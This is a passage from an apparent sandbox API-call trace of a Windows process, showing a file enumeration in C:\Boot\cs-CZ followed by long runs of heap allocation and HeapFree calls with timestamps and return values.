lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c5e0 [0252.482] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.482] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.484] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.491] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.492] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.492] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.493] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.494] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.496] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.502] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.768] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.770] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0252.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0253.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0253.812] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0253.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0253.818] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a5f70, Size=0x4000) returned 0x4500740 [0253.818] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0253.822] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.822] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.822] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.823] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.823] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.824] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.824] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.827] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.828] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.828] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.828] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.828] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.829] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.829] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.831] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.832] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.833] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.836] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.836] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.837] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.837] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.838] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.838] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.839] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514750 | out: hHeap=0x640000) returned 1 [0253.839] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.839] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.840] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.840] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.840] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.843] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.843] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.844] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.845] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4504748 | out: hHeap=0x640000) returned 1 [0253.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0253.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.628] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.628] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.628] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.629] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.630] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.631] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.631] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.635] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.635] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.635] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.636] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.639] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.639] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.640] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.640] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.642] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.643] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.644] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.652] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.652] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.653] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.655] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0254.656] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.660] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.661] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0254.661] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0254.664] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.665] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0254.668] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.669] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0254.669] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.670] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0254.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0254.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0254.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0254.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0254.972] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.982] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.983] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0254.987] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.988] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.989] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0254.998] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0255.480] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0255.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0255.485] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0255.488] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0255.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0255.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0255.491] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0255.492] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0255.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0255.499] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0255.504] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0255.883] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0255.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0255.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0255.887] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0256.881] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0256.882] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0256.884] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0256.885] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0256.889] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0256.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0256.894] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0257.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0257.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0257.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0257.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0257.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0257.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0257.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0258.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0258.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0258.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0258.481] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0258.483] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0258.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0258.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0258.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0258.548] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0258.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0260.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.123] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.127] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.128] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.129] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.596] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.615] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.670] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.675] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.677] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.681] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.683] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.686] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.689] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.692] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.694] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.789] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0260.793] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.710] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.712] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.720] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.722] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.725] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.728] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.730] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.732] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.737] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.740] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.743] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.746] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.951] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.955] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0261.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0261.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0261.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0261.994] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0261.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0261.999] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0262.002] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 